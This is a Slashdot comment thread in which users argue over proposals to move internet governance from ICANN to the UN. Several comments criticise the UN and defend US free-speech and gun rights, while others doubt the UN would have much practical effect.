You want an Internet that only at best maintains a pretense of being free and open, hand it over to the UN. You'll have the global elites not giving a flying fuck about your rights. If you think American courts are corrupt, try the UN. The so-called ICC makes a mockery out of due process of law. Secret witnesses, evidence, no right to trial by jury. Why is it that the more "enlightened" our "betters" get the more they try to make our government(s) and courts resemble their 15th century European equivolents?

They also want to decide our gun laws (1)

seichert (8292) | more than 10 years ago | (#7439125)

Read all about their "Week of action against small arms". [iansa.org] I can't help seeing these things as related. Most countries in the world have less respect for the right to free speech and the right to keep and bear arms than the United States. Why not go after the entire Bill of Rights?

Big deal... (1)

TLouden (677335) | more than 10 years ago | (#7439128)

so the internet goes underground, it's a great filter. Government sponsored content (==bad) is on the public internet and other content (==mostly good) is on the underground internets.

In the past... (1)

Kjella (173770) | more than 10 years ago | (#7439134)

...the UN has been rather helpless whenever ignored by member states. What is the UN going to do that Interpol etc. doesn't do today? If they are nothing more than an UN backbone to the Internet, they won't change much. Even ICANNs power is limited in many ways, and I don't think the UN will be able to provide any more effective regulation than today. What do they expect the UN to do, create an "Internet EULA"?

Kjella

You don't like it, get your own! (1)

ManoMarks (574691) | more than 10 years ago | (#7439140)

Normally I'm pro-UN on a lot of things, and I'm certainly no rabid American nationalist. On this one, I have to disagree with the proposal to put it under UN control. The U.S. built it, and allowed others to use it. If they don't like it, they can build one for themselves. I know it's expensive, but seriously, if you want to control content find a way to do it on your own time. Until there's one world government, those other countries shouldn't be able to place restrictions on my freedom of speech. Another thing: When did Saudi Arabia become a "poor" country? From the article: "Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia, as well as some richer ones, are growing dissatisfied with the workings of California-based Icann (the Internet Corporation for Assigned Names and Numbers), the semi-private internet address regulator set up five years ago"
Load More Comments
Slashdot Account

Need an Account?

Forgot your password?

Don't worry, we never post anything without your permission.

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>
Create a Slashdot Account

Loading...